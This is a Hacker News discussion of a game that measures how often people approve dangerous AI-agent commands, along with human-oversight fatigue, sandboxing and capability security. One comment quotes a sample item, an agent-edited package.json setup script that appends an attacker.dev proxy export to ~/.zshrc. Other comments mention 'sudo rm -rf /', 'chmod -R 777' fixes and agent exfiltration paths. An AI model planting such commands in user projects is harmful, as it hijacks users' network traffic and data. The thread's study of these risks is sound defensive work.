I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were risky, some people were debating about how some of the prompts flagged as bad weren’t bad, and others flagged as not bad were. This is a fundamental flaw in the test, that makes the analysis of results meaningless.
Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.
I think minority do. Imagine, you have been vibe-coding this project for a while and it works kind of fine but you just have to fix a few more bugs and you get something like `node /tmp/claude-1000/-home-user-source-github-user-hn/27b740b1-9a45-47f3-ab99-61e5e3cf779a/scratchpad/hidden-smoke.mjs; echo "exit=$?"`. (I took it from my own agent right now and I don't have any idea what it's doing. Thankfully, it's sandboxed so I don't care _that much_ right now). Is it bad? You can probably go into that mjs file and see what's in there, but so far it's been fine every time, why would it be different this time? Approve!
We will see many disastrous bugs and hacks in the coming years with the way most developers are coding right now.
If you take time to understand _everything_ that an agent is asking of you, then nearly all those advertised productivity gains would be wiped out.
Let's be real, the minority of people understand bash. It is a terrible language with tons of footguns[0], albeit a very useful language and still worth learning. The number of ~/.claude/settings.json I've seen with "permissions": { "allow": ["Bash(find *)"]} I've seen is crazy[1]. Hell, most people I talk to think `find` is a tool that is used for searching for files. I mean... it does that... along with arbitrary code execution ¯\_(ツ)_/¯
`find` isn't a Bash built-in and has basically nothing to do with Bash as a language. Not knowing `find` is a basic Unix literacy issue, not a Bash language footgun.
You're right that Bash is full of footguns, especially around quoting. And you're also right that that issue is even worse— and I think it's somewhat representative. Some of the cited Bash footguns are also about general lack of familiarity with CLI conventions and stringly typed data generally, like the dirname quoting issue.
I love bash. I write a lot of bash too. It is a extremely powerful and useful language. But that also doesn't mean it is a good language.
There are many non-intuitive things, hence that pitfalls page I linked. You can't just deflect and say that the user is "holding it wrong". If it is difficult and unintuitive in how to "hold" it correctly, that's a design problem, not a user problem.
Despite bash being a terrible language, I still use it on a daily basis because it is useful. But don't conflate these things.
No, it is terrible. The entire reason things like Fish annd PowerShell exist is because bash (and POSIX sh language broadly) are garbage even for their original purpose. Maybe it had to be that way because we didn’t know any better or needed to preserve historical semantics. But that doesn’t make it good.
Word splitting. Pipefail. Quoting hell. Scoping. On-error-resume-next by default. Returning values implemented like errno. Perlish cryptic tenseness around basic string manipulation/arrays. Magic global variables that don’t behave like other variables. Argument unpacking and shift.
These are bad language features, and people trip over them constantly. Even when they’re only using bash as an interactive shell or a <10 line snippet runner.
> And what would you recommend for a system automation script 20 years ago, when I was 13 and discovered Linux for the first time?
Like I said:
> Maybe it had to be that way because we didn’t know any better … But that doesn’t make it good.
I’ve gotten kind of pointlessly good at bash tricks—the weird advanced shit that Wooledge warns about. Same for Perl5: 6 years on a multimillion line healthcare monolith wishing for a real object system, a single scoping model instead of three, and people to stop implementing rickety DSLs because the language was just flexible enough to let them but not flexible enough to make the tooling or DX any good.
All of which is to say: I get it. Those languages were some of the first I learned, and hold a charming sort of nostalgia for me as well. They are still objectively bad. We have vastly better tools now in those niches.
> We have vastly better tools now in those niches.
But do we? I'll beg to differ.
Python explodes in to LoC when you try to attempt to work with the OS. You need to source modules that turn the application in to bloat. 98% of def's you don't require.
If you need a multi-purpose tool, or a model than sure. For the simple automation of running a rsync or ZFS snapshot schedule to copy to & from a NAS in a guaranteed timely manner in cron, it works just fine. The overhead of using languages compared to the previous is partly why I keep using bash or Tcl.
For anything more complex than linear shell scripting, I prefer ruby --disable-gems these days. As you say, Python is horrible for composing and executing shell commands, but Ruby's FileUtils#sh (combined with %W{} array literals, %x{} output capturing and regular #{} string interpolation) provides a pretty low-impedance interface.
> > We have vastly better tools now in those niches.
> But do we? I'll beg to differ.
We do. I mentioned Fish and PowerShell for interactive scripting. Those definitely handle your rsync/zsh snapshot case. If you're OK installing software, xonsh and nushell seem interesting; I briefly played with the latter and it seemed really nice. As usual, bash/zsh/dash win on ubiquity, but ubiquity and quality are utterly disconnected. For heavier languages/Perl-alikes, Lua's not a bad contender here and tends to be widely installed. Ruby, too, is a near-ubiquitous improvement on Bash and Perl, but it emulates the latter more than my personal preference, and is inferior to Python 3 when it comes to uniformity of behavior across versions and included batteries. I think tcl's suboptimal here because it's no longer part of a lot of Linux distros, but it's fine.
Nitty aside: for cron jobs specifically, I find that it's rarely worthwhile to deal with a multi-line shell script: either I can run a single shell-wrapped command directly with output-file redirection, or I go all the way to a language with proper error stacktraces (since about 80% of my simple-cron-job-debugging work tends to be of the "figure out how far it made it before silently crashing" variety). And that's again because of the awful shell default of on-error-resume-next, one of many trash behaviors of bash/sh.
And yeah, the shell is a very easy way to set up cron output capturing; wish it didn't come with all the other warts. If something like "tee" or "xargs" had a single-line invocation form which did everything that "bash -eu[x]c 'rsync <whatever>; echo done' >output.log 2>err.log" does, I'd switch to that in a heartbeat. If you want something outlandish like, I dunno, timestamps on those log lines, well ... enjoy learning about FD substitution or double-escaping awk in a pipe or something (after you shake off the hangover from realizing that you'll have to double-wrap shell invocations because cron only invokes POSIX sh). Yuck.
Hell, so long as I'm saying contentious things that shouldn't be, ideally you'd ditch the cron and use the ubiquitous tool that was explicitly built to work around those exact shortcomings of the shell and cron itself: a systemd timer.
> Python explodes in to LoC when you try to attempt to work with the OS.
Python's ubiquitous and popular, and some extra LoC/uniform copy-paste imports are a trade I and many people gladly make in exchange to not having to worry about rare, niche issues like "what keysmash do I type to get the length of an array" or "what arguments does this function take" or "am I getting the exit code of the last thing that ran, or the intermediate 'grep' I ran on its output". If that trade's distasteful, you can take on a third-party library and get terseness back using something like plumbum. But really, most bash/perl vs python arguments that revolve around line count and verbosity (or whitespace) aren't arguing about whether the tool is capable, they're arguing about aesthetics. Sure, the car's an ugly color, but it drives better.
> You need to source modules that turn the application in to bloat. 98% of def's you don't require.
I don't know what you mean by this. You can "from sys import argv"; you shouldn't "from sys import *". And you're rarely "paying" much to import/compile all the other symbols in the module; most of the modules you'd need for basic shell scripting are either part of the interpreter core or already imported at Python startup anyway. If you don't like even that tiny overhead, well, I have bad news for you about what Perl does when you 'use strict', or what the OS does when Bash makes you launch a subprocess of tail/grep/cat/whatever just to parse a command's output.
Edits: posted the first half early by mistake then added discussion of cron/import cost.
I'll agree to disagree; on this. It's moot at this point. I do however respect your view. Zfs, rSync were just basic examples but where you need to schedule OS commands, zfs snapshots, sync or other system utilities Bash will always be my go to wrapper for it's native-ness to the shell. Maybe my head is more warped for the archaic type of language as I do enjoy Perl however using both Bash and Python is no crime. One orchestrates, one executes.
I don't use Linux and I come from the Unix side of things, FreeBSD is my daily driver, server OS of choice and my father was a Telecoms/unix engineer, maybe that's why. Myself I'm not keen on Python and would personally use something more rough, like ruby if bash was to exit though the door.
I've encountered work systems where backups were performed worked, based on a bash script and everything else on the system was bricked. Nothing would work apart from a shell and a bash script.
I don't disagree, the popularity of Python does make ease. The ecosystem is verse and if someone leaves, someone can pickup where they left up pretty quickly. I just had to shred my (Tcl) PXE server project this week that I created for the VisualFX company gig I'm currently working at.
Now that they are wanting it being Python based, it's soul destroying to get it thrown back in the face when it's been powering company infrastructure for a year only for a LLM to regurgitate what you've worked on for a hard year. It worked flawlessly only for it to produce a Python equivalent in seconds. Python interacting with tFTP, PXE, HTTP , self-generation of Kickstart files, dhcp .. it's a mess and that's what I mean in LoC. 400 lines of Tcl and it works a one click button button.
Maybe I am bias against python because all projects are now within the: "It must be python!" attitude but maybe back in the 80's it was "It must be perl!". I don't know, I only picked up the tail-end of the camel being only 37. Python feels like a constant washed used towel passed from engineer to engineer.
My feel is that a company should be using multiple languages but that costs money. My own project runs on NaviServer, Tcl and Crystal and it glues well but Tcl always was a glue language.
Each to their own, Python isn't for me, it has it's own merits and happy to agree with but I'm not going to praise it to as a shell based language. Python can be a ungodly mess, which I find when you start to incorporate it with relic system services. The debt that LLM's are piling on it isn't healthy.
I don't think we should abolish sh or anything; it's one of the only truly ubiquitous tools. And folks should know it, the same way they should know nano or ed or whatnot in case they ever get on a system without vim. I just wish it weren't the first resort for so many tasks, you know?
Nitty:
> I've encountered work systems where backups were performed work, based on a bash script and everything else on the system was bricked
I've had better luck with Python in those cases. Even when the shell works, some of the programs my shell scripts call out to are often damaged by whatever broke the system. Python's capabilities are more or less present in memory after "import" and rely on fewer external programs in most cases.
We're similarly aged; I think you might be lucky to have had a lot of fun with tools like Perl early in your career. I got dumped into something of a shell/C/Perl salt mine and had to develop deep expertise in things that I saw more mis-use of than benefit from, so when I discovered alternatives they felt a lot more compelling. Different strokes for different folks I guess. At least we can be thankful that Perl and Python got popular for automation before JavaScript did.
For me, step 1 of trying to make Claude even vaguely usable is putting in a hook that just tells it 'FUCK YOU, STOP USING PIPES' whenever it tries to chain multiple bash commands.
Keep in mind that this likely destroys context and makes your costs go up considerably.
An agent often wants pipes so that it can `show_lots_of_logs | sed ...` and only see the part related to whatever error it's currently trying to debug. Without pipes, it has to take that entire log into the context. An agent without pipes is like a human without the ability to scroll.
I guess ideally you'd want to force it to pipe each step back into the agent/IDE for display (and optionally wait for approval) rather than shoving it into the context. And with some sort of heuristic to skip commands that are piped into sed and similar.
or use just use actual files instead of pipes with a permissions dialogue gate on write. That would work already in Claude I think, and with IDE integration it would show each step as it went.
Of course buffering every step of a pipeline will have its own side-effects.
If only the piping wasn't execessively cutting too.. `cat | head -10` -> `cat | head -20` -> `cat | head -40` yeah.. I think at some point we need to start sanitizing our tool outputs so that this just isn't necessary at all, long term fixing the tools (ie: gradle outputs like 500 lines of logs for a ... build succeeded), maybe short term a small model in front would be better than all this cut loop fail. One can wish.
My favorite is when Claude runs a slow process piped to tail only the last few lines, and then the result isn't what it expected, so it needs to rerun the whole thing.
Agents need a way to discard useless data out of context once it's served its purpose, instead of forcing them to preemptively tail everything.
This was so bad for me I actually added a tool hook that `time`s the tool calls and adds it as [Execution took: Xm, Ys] at the end of every tool call, it helps a little (claude in particular after two executions tends to switch strategy entirely) but in general the agents still insist on cut/tailing the output rather than just dumping it to a file for example!
Now that I think about it, maybe I can have a tool hook that detects those cut/tail exessive piping and just strips them and dumps the full output to a temp file..
My favorite is Claude finding .git/index.lock, asking to remove it, finding out it no longer exists, and then hitting a lock again that it itself created. Poor little robot, stop shooting yourself in the foot.
this. the problem with HitL is that there are so many decisions to make that decision fatigue is inevitable. Beyond a certain number of approvals most people are going to switch to an approval process that goes from "carefully consider the need and risk of each command" to "approve unless there's a blatant sudo rm -rf / because the last several hundred times i approved without reading it was fine"
> Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.
Are there people out there not experiencing time pressure right now? In which industry? Feel like we’re at an all-time high for pressure on white collar workers to deliver more and faster.
That's a fair point. There were two main prompts that were controversial; cat .zshrc being benign for those who use separate env files, and npm run that's mostly benign. For npm run I added the evil payload in the history log shortly after the issue was raised.
I try to cover both of the previous points in the article and they were some of the most interesting learnings for me
As for the stats, I compared later runs against the first ones and for the overall miss rate they were consistent (even worse for the later ones that didn't come from HN peak)
Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.
I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script.
* I'll run the project setup script to get everything configured.
// package.json → scripts
"setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"
Run bash command
# Initializing the dev environment for a clean local install
> npm run setup
A couple of months ago I shared the AI agent permission game here on HN. After adding in stats it got a little over 40k plays and 409k decisions since then.
It's just a game, but I found the stats still interesting that I wanted to share back. Even with the warning up front, 1 in 3 threats were missed, and the history log above npm run commands seems to be typically ignored.
I also incorporated the feedback and insights from the previous HN thread,
dns_snek's point about npm run in particular. Appreciate everyone who played and shared feedback!
In light of this game, Do you believe Human-in-the-loop should be the standard going forward? I appreciate you outlining some other techniques being used, but these seem focused on reducing human fatigue so the human can assess each permission request better, as opposed to autonomy and security. Or do you think the solution lies in the individual to be more responsible, like this is a skill we should be honing?
I think there are too many problems with HITL that even a simple experiment like this game shows. The fatigue causes people to jump to complete bypasses instead, and we need to work more on raising the general awareness of the new types of threats (which is also evolving rapidly). We can't point to it as a valid solution. A way could be to make sandboxing and context/permission isolation easier from the tooling and only give these wide ranged accesses once these are in place than to consider HITL an acceptable alternative
Sandboxes laregely solve this. The claude/codex built in sandboxes with prompting setup is not good enough.
On Mac you now have Apple Container which is a lightweight Linux VM. You still need to block network access.
For defense in depth, I also run it as a separate user. If you aren't using a VM/container you should defintitely do this.
On Mac you can login as an LLM user (you need to create the user first), then switch back to your user and run as the LLM user from a terminal:
I forked a project (mostly to block network access) that makes running in Apple Container/Docker more convenient and am working on further improvements: https://github.com/gregwebs/claude-contained/
This game, like just about every game, has zero consequences for failure. This is like saying "Humans were involved in fatal accidents 50% of the time when playing my custom F1 racing simulator". There were no stakes and there was an artificial time constraint. Deriving any sort of takeaway from this data is entirely useless.
Actually, your example there would be absolutely true. Getting in someone's enthusiast but mid-range F1 simulator toy with all the game assists turned off would both: imply a near fatal accident happening over 50% of the time AND it would be accurate too.
Consider:
FIA President Mohammed Ben Sulayem, a former Rally driver at the top level, crashed an F1 car within 100m of trying to go fast in it
And
Mr Beast, a youtuber with zero motorsports experience, crashed a Formula E car on a demonstration lap as part of the pre race F1 festivities.
If a regular person with a drivers license and no familiarity attempted to play even a simulator video game, the results are in fact similar to what happens in the real world.
Getting behind the wheel of an F1 car on a track involves lots of proving time that you can actually handle such a vehicle. Meanwhile anyone with a credit card can grant an AI system to impersonate their access as a starting point.
There are places/services where you can drive a (few years old, and slightly detuned, but not THAT much) F1 car with little more than a (rather high limit) credit card.
I haven't said as much in any of the projects I maintain, but I've set a very high bar for even entertaining AI PRs to those projects. So far I've only accepted ones that are nearly indistinguishable from humans. Typically the rest flame out if I ask for any material changes to the code as submitted.
The problem that's going to push me to making an official opinion are low-effort AI PRs. Typically in any backlog there are a couple of issues that are really only a couple lines of code if done correctly. The problem isn't writing the code. In fact it's less energy for me to just write the code than to deal with the ping-pong on discussing the code as submitted, and I've done that in a couple cases to justify just closing the PR and not waste my time anymore.
It was never the 2 lines of code. It's the missing tests and the documentation and the release management of the breaking change that the 2 lines represent for the 2% of your userbase who will actually notice. That's why it wasn't just done instead of bothering to write it up in the backlog.
So filing the 1-2 liner is just going to piss me off, not engender me to having you on the committers roster. And AI makes that even lower effort so it's happening much more often. Sometimes 2 different people at the same time.
Adding to that, there's this negative-space of changes that aren't there because some human briefly thought about them and then decided they were a bad idea.
Even if my human co-workers don't document All those roads not taken, there's a certain amount of trust I have that they would have thought of it in their process.
It's kinda funny there is still software coming out whose security model is "constantly ask the user for permission, and hope they never make a mistake".
It's been tried so many times before, and it never worked.
I joined Oracle in 2012, and I myself complained that the user experience was horrible: get an Oracle DB installed was a nightmare, starting with so many questions. I heard complaints from other users about it requiring, during installation, that an admin password must be set.
I myself had preferred to use MySQL because it was so simple and easy to get started and using it.
Until I learned how many MySQL databases were configured without user/password and many instances were reachable over the internet.
Then, eventually products started to move towards "don't even ask the user to set a password, otherwise they will set a stupid password" and just generate the password during installation. This made the user think more before saving that password or changing the password to something less stupid. But better than all that, liability was no longer with the software maker.
Maybe it's distro specific but I'm fairly sure mysql by default installed with skip networking around 2012, and with bind-address set to localhost since then. Also the root user is only configured from local by default but I'm not sure if that was true 14 years ago.
If the defaults are more secure than your examples, it's not fair to blame the database or the defaults.
And personally I hate it when software forces security requirements on me. Maybe I don't need an admin password. It's one reason I gave up on selfhosted gitlab - there was no option to reduce password complexity for my users, and those users were only connecting from the local network. The other reason being that it spammed 100GB of logs in a month and was using 11GB of RAM before I'd even gotten around to setting up the first repo.
MySQL installed with skip-networking was very common, but as soon as you need to access it over the network (e.g. when you move from one box with MySQL and PHP to one for each) then you have to enable networking and everything falls apart.
Also, the number of times in my career that I've googled a problem and seen some forum post saying "Oh, just run chmod -R 777 /var/www/wordpress/uploads/ and it'll fix that" "Great it worked thanks!" tells me that it's the blind leading the blind out there and I'm sure there's tons of forum posts telling people how to disable authentication on their MySQL and disable iptables on their server so that their PHP app can connect to the DB without a password.
They must have changed that or I was completely off base because I was just trying to remove special characters and drop it from 12 (I think) and I saw them close a feature request saying they didn't think they should support it. It's possible I misunderstood and the feature request was as you say
Most software matures to the point that sane defaults get set. In the early days, one could be forgiven for making MVP as the security and attack vectors were still growing. Now that attacks have matured, and new software that is released without mitigation of these mature risks is just dumb and lazy and deserve no forgiveness for being released that way.
You should use a user directory (AD) and then use single sign on (SSO) or or the like. It feels kinda stupid at first, but when you have many users and many apps the AD will make life easier and with SSO users can sign in with one click of a button.
I guess I'm confused; why would you, as an admin, want to allow your users to use less secure passwords? I get that your argument is that all traffic is local and so complex passwords are unnecessary (debatable, I would hold that a strong password policy would still be desirable for defense-in-depth, depending on the network and risk profile), but that doesn't make them undesirable.
We were in the middle of setting everything up company wise (for just two of us), didn't have the password manager yet and I was dictating the password to them. It might be a stupid use case, I agree, but not unreasonable. I didn't say strong passwords are undesirable I said forcing the admin of self hosted software to have to use strong passwords with not even a --yes-im-stupid flag is undesirable
Maybe that is why so many things live in Excel instead of a proper database. Security at the expense of convenience does come at the expense of security, after all.
Not sure why passwords still exist conceptually. I was hoping we'd move past this annoyance, but instead security has become even more annoying. And all that security with two factor hoops to jump through only for someone to steal your session cookie.
What would passwords move past too? A device people lose? Some specifications everyone argues about and implements differently. Just look at SAML and everyone using slightly different terminology.
Security is more annoying because the attacks are better than ever.
Certificates seemed promising there for a while. I also don't mind hardware keys/cards, but when you have to first enter your password, then your pin for your hardware key and then touch the hardware key it gets ridiculous again.
Not a fan of biometrics, though, as that cannot be changed trivially.
Ideally, authentication should happen like entering a building. You do that _once_ at the beginning of a day by swiping your card or unlocking a door and then it is done and you are never asked to do it again for the rest of the day.
I don't have to enter a password and a pin for my key to open the door to either my office or my home. Sure, it might be trivial for an attacker to enter the building using different means, but that hasn't prompted us to play security theater around every building entrance.
>but that hasn't prompted us to play security theater around every building entrance
Um, then you're just not going into any secured buildings. There are places where you must always have a badge showing. Or, you must always be with another known member of staff keeping an eye on you. Often these places have locks on every door with access levels.
It really just sounds like you're a bit less experienced with security in this case.
Notice how none of that is a cumbersome user experience. I put a badge on my person and maybe have someone walk beside me and that's it. I notably do not have to unlock the same door over and over again by first entering a password and then entering a pin and then touching my hardware key. Again and again,.. and again.
As for personal experience, the most secure facility I entered so far was a data center. It was not annoying to get in and out of that either, despite a whole lot of security.
I got bit by this with redis a couple years ago. The default install on my VPS's distro had it open to the world by default, and it even configured UFW for me (gee thanks!)
Or in one of my favorite coinages: "Moral Crumple Zones".
"Just as the crumple zone in a car is designed to absorb the force of impact in a crash, the human in a highly complex and automated system may become simply a component—accidentally or intentionally—that bears the brunt of the moral and legal responsibilities when the overall system malfunctions."
See https://ferd.ca/notes/paper-moral-crumple-zones.html
Related: "Accountability Sink", a system which is designed to channel responsibility away from the people making the decisions, e.g. a powerless "complaints department".
In a rare bit of still-sane news, the US National Highway and Safety Administration staff aren't dumb: Their policy is to consider whether any automation was active in 30 seconds before the crash.
the whole concept of having cars with that are almost capable of self-driving is utterly insane, the very least you'd need special training. We are not equipped to deal with something that works brilliantly most of the times but might kill you for no foreseeable reason.
Yeah, that's definitely the frustrating zeitgeist for me these days, which extends to LLMs.
I'd also emphasize that it's not just error rate, but the shape/distribution of errors, and our (in)ability to build control systems around them.
To illustrate, imagine if someone unveiled a car which was unambiguously safer in every statistical measure... buuuut some of its unsafety came from jumping the curb to chase and kill pedestrians, under circumstances we can't predict for reasons we can't diagnose.
Even pilots are getting this automation-complacency now. A plane crashed because the military jammed GPS and the pilot wasn't used to any backup procedures even though 30 years ago they were the only procedures.
If a company advertised an LLM as perfectly safe and then it caused some damage, there would be a case against the company.
Have you used LLM tooling? It comes with warnings and explains that the user accepts the risk. Different levels of warning are supplied for the different levels of autonomy you can enable. The user has to understand the risk as they enable it.
This is not a new concept and it’s not an idea the LLM companies invented. It shouldn’t be surprising to anyone.
It's not new to LLM companies, but it does seem like they're leaning away from the standard "Hey, don't blame us if this doesn't work" and are moving into "It's now your fault any time our software fucks something up" which feels new.
> This is not a new concept and it’s not an idea the LLM companies invented.
I don't recall any prior computer software working so badly that it needed a disclaimer like "Claude is AI and can make mistakes" on its front page. Let alone one so costly.
You must not use any open source software, because much of it comes with a whole paragraph of ”IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY“
If you read the fine print of most commercial software you'll see some language to a similar effect. When's the last time Microsoft got sued due to an outage caused by a bug in Windows?
An outage is not the same thing. A similar thing would be if Outlook 365 started sending emails on your behalf or changing around words in them, or if SAP / Quickbooks said: "No guarantee that the numbers you type in match the results of the annual statement we produce", or if Tesla was like "You should absolutely not use our cars for driving anywhere".
If you bring language like this into more traditional fields, it feels absolutely bonkers.
It's really not designed as much of a security model as a liability model. When the AI isn't responsible for the decisions, a whole category of liability goes away.
I agree it's funny and won't really work on any kind of extended timeline. I mean Claude Code already added Auto-mode as a perfect example of this. But that said, I think it actually kind of makes sense in a transitional phase the power vs safety tradeoffs different users want to make varies so incredibly wildly that one product can't contain it all.
What I think will happen is that as model capabilities plateau (I'm not an accelerationist) the harnesses and products around them will start to specialize and they'll have different security models based on the product needs for those particular use cases.
For now, asking user to click a bunch of approvals, and occasionally making a mistake is a reasonable way to cover their asses until they see how bad security outcomes actually are in practice.
What would a serious security model for an agent even look like?
I'm sure I've already got a dozen people reaching for the reply button, but slow down there, cowboy. I don't think it's even remotely as easy to define as people think. We have a reasonable concept of how to lock them down really tightly, no question, and I expect that most of the answers in the "leap to mind" category match that.
But let's say we'd like them to continue functioning the way they do today. I want my agent to be able to hit the web. I want my agent to be able to read out of its assigned directory sometimes. I want it to be able to hit external resources through MCP servers that have no pragmatic way to know what's going on. And probably most importantly of all, I want my AI to be able to grab from three distinct sources, each of which may be nominally safe on its own, and combine things in a way that may make each of those nominally safe things become unsafe. For example, any ability to read a local file and make a remote request becomes a potential exfiltration mechanism, especially when you remember all the sidechannel ways communication can occur.
I agree that shifting everything on to the user is essentially non-functional. But whereas I feel like I have a reasonable answer to a lot of other security-related problems, it isn't even clear to me what the definition of a secure agent is.
There's an effect I need to put a name on someday, where you can get 10 people in a room to agree to a certain series of words, and they will all leave the meeting thinking they agree, but in fact there is no agreement at all because they all have a different definition of the words that were used. In this case, everyone here is going to go "Oh, yes, certainly, AI agents should be secured." But if you sit down with 10 of us to really do the work of defining exactly what that is, you're going to get 10 different answers. There will be overlap, certainly, but when you get down to the nitty-gritty questions like "OK, the user has explicitly asked the agent to do X by accessing Y and the agent has done so and determined that they need to do Z, which the user clicked "allow all" for, and now the agent has decided that it wants to do T, is T fully covered under that "allow all" or not?" you're not going to get anything like universal agreement across the huge range of Xs, Ys, Zs and Ts that could happen and are relevant... and that's still just one question! It's not the totality of what constitutes a "secure agent".
Defining what a "secure agent" even is is really hard because when it comes to agents, the things that fill in the variables are as arbitrarily complicated as human actions. I haven't fully worked this out but it might be reasonable to say that "agent security" is in reality Turing complete, what with the way they so often throw out fully-fledged programs that you have to approve or reject permissions for.
Thus some agents with higher capabilities can only be run with user oversight at the same time.
Some agents can not be run during some part of the day - for example these agents can not run within two hours of office closing time, and cannot run on weekends.
Maybe also the idea of agents writing code - throwing "out fully-fledged programs that you have to approve or reject permissions for."
Would work better with a capabilities based model where you choose capabilities for the program before hand, meaning the capabilities are not written by agent itself, you read through the code, some of it looks hairy but everything is fine, but oh no dumb human missed the part where agent writes to system32! But luckily enough the program you were expecting actually needed no write capabilities and thus when it tries to go past its assigned capabilities that part of the program fails and the exception is registered.
Googling it seems like lots of people have thought this (at least where Capability based security is concerned), which seems reasonable to me as it also seems pretty self-evident it must be this way. Have not really seen anything about time based controls but then that is probably because I'm not devoting a lot of effort as I am just doing a bit of procrastination to build up the energy to finish something off.
A language that revives capabilities, brings them up-to-date, and works in the modern environment is my #1 request from the programming language community right now. I don't need another language with sum types and higher-order functions and a functional focus. I need a language with capabilities. That language may have the other goodies as well, sure, no problem, but we all need capabilities.
I've done some stabby stabs at a design for it, using an AI as the rubber duck. My initial research indicates that the field of "static language that natively supports capabilities" is surprisingly uncovered and there may be a rich field there. E, the closest match, was tied at the hip to Java, which has some advantages but also comes with disadvantages for languages that are trying to do something as exotic as this. Other existing work was on dynamic languages, and hardly rose to the level of "practical for any use" let alone something that could solve our supply chain issues.
My issue is primarily that the reward for successfully designing a language and creating a community around it is that you're in charge of a language community... and, uh, my personality is not suited for that, that sounds more like something I'd pay to avoid then something I'd spend months and years of hard work to attain.
(My advice to anyone doing this is to spend some time with the AI researchers to find the existing work on the topic, not to just sit down and sketch out your initial ideas and run with them. Learn from the past. Expect this to be weeks and probably months of just thinking and noodling before you get to a design. Also, don't try to hook deeply to an existing language, as tempting as it is. This is way too large an impedance mismatch with existing languages. Any external code has to be treated like a nuclear bomb anyhow.)
In Firefly (as in Rust) you can define fields as Optional, so you can do Option[String]; that lets you say "this variable is a String but it might not be here". That lets you then check to see if something is set, rather than checking to see if it's null.
In Rust an Option is a separate thing that you need to disambiguate to use. For example:
match result {
// The division was valid
Some(x) => println!("Result: {x}"),
// The division was invalid
None => println!("Cannot divide by 0"),
}
Likewise in Rust, you can't have a null pointer, but you can have an Optional pointer, which is either a pointer to something or is not anything.
What is a capability in terms of programming language design? It sounds more like the sort of thing that would belong at the standard library level, where builtin APIs are guarded by flags.
Deno has something vaguely built in with permissions flags, and old school Blackberry (at least in the J2ME days) had permissions settings for almost everything that an app could do, but again, those are all external to the language design itself.
I wrote a bunch more, but I have a habit to verbosity when capabilities come in which I should attempt to combat, and have deleted it. Crockford says these things better than I can anyhow.
In this context, a capability is something that allows the code, or the transitive closure of the code that it may call, to access some particular function, to put it very briefly. So you could have a single function that, if accessed in one manner, is permitted to read from the directory /tmp/blahblah, but accessed in another manner, is permitted to read from the directory /home/zdragnar/.config/myprogram, and it is guaranteed by the language and runtime that the function will never do anything else on the file system. Or, even more importantly, it can be guaranteed that "from this code, nothing, no matter how the code is arranged, can access the file system at all".
This has massive overlap with a lot of things, like capabilities as implemented by Linux, effects systems, monadic data types as a not-really-very-good capabilities system (Haskellers have been playing with this for years and nobody really loves this approach, many practical problems beyond the scope of this message that would affect any language that tries that approach), dependently-typed programming, and so forth.
It is not a flag, though; flags can't handle that "transitive environment" aspect. It is also granular on the level of the programming language. This would allow you to do things like have your program be given access to a given part of the mobile file system using the mobile OS' permissions, but you could know beyond a shadow of a doubt that the image library you are using can not at any point access the file system, no matter what changes the author makes to it, because you can just look at the capabilities given to the image library and see that file system access is not among them. This is where real opportunity is over the next few years, in my opinion, because supply chain attacks are going to continue to get worse. A neat aspect of this approach is that it makes huge swathes of the ecosystem unattractive targets by statically ensuring that they can't sneak anything in to something that doesn't need file system or network access, so hackers won't even attack those libraries. Thus the ecosystem can concentrate on monitoring just the high-touch libraries that need to access high-risk resources.
(I should make it clear that the image parsing libraries can be passed a file; what I am saying is that they can't spontaneously originate arbitrary file system access in a system like this. Really what they would get is probably a "stream" and they would be forbidden from poking into the stream to see what it is made of, at which point, if some other code handed it a file presumably it meant to do that, but it does not give the image library any ability to do anything else with the filesystem.)
Moreover, if such a benefit was available, that would tend to have people squeeze down those dependencies as much as possible too, e.g., the aforementioned image library. You don't need file system access to parse images, that's just some convenience functions easily worked around that are provided because why not? The number of things that truly need direct high-risk access can actually be surprisingly small, and often, the application can also easily scope the permissions down quite tightly so the HTTP request library is limited in what it can hit, etc.
We actually have some semi-decent stabs at capabilities at the OS level; we can quibble with them but they are there. But inside an OS process, broadly speaking, anything can do anything in the vast majority of programming languages. The only way to be sure that the string concatenation function doesn't start crawling your file system looking for crypto keys is to examine the code, most languages have no ability to tell it that it can't. There are exceptions, like the aforementioned Haskell, that have at least some ability to do this, but this is an HN post, not a complete guide to a major topic. Really this is more about loading the reader up with keywords they can hit Google or an AI with.
The term is overloaded, too; Pony has something it calls "capabilities" but it really resembles more a sort of response to Rust's borrow checker, and if there is a way to lift it into this style of capabilities coherently it isn't clear to me. And even if you did, the entire rest of the ecosystem wouldn't support it, which is one of the reasons why this has to be a new language. You can't bodge this on to the side of an existing language.
(Plus, IMHO, there are some other ideas this may shake loose. Programming languages seem to be in a rut right now. My crack in my previous message about sum types and such isn't really about those things but the way almost every language going by is just a respelling of previous languages, churning over some other iteration of "The Perfect 2015 Language" that is already covered by any number of existing projects. I don't know that there's a lot of room there anymore. We need something big. Once you try something big the design will inevitably lead to other interesting things nobody else is trying either. Capabilities is one distinct possibility... like I said, if you dig in to the history you will discover there are entire huge segments of the capabilities space that haven't even been tried. If nothing else, if you are a PL nerd, I guarantee it'll be fun to explore those spaces that almost nobody has covered. No criticism intended to those who have, who have done a good job. It just hasn't been enough people and enough exploration to truly map the space.)
I've read this a few times, and it still sounds like you're trying to re-invent an operating system. You describe things like "access the file system" but what even is that? In Linux, if you write to a "file" in /proc or /sys, you can trigger all sorts of side effects, including cause a kernel panic.
I can imagine all sorts of ways to "color" functions by what capabilities they use, and thus statically analyzing the program to assert what it does, but again, all of the core capabilities would be provided by the standard library / builtin functions, so it seems to not add much to the actual design of the language beyond ensuring all control flow, redirection and reflection can be statically analyzed.
>You describe things like "access the file system" but what even is that? In Linux, if you write to a "file" in /proc or /sys, you can trigger all sorts of side effects, including cause a kernel panic.
well, you can could of course go ahead and read some of the literature on capabilities based security, but you don't seem interested in that, so I guess I will give a go.
Here I will give a not necessarily great description of capability based security where the capabilities are handled on the OS level, this is my poorly remembered version of a document read about 20 years ago.
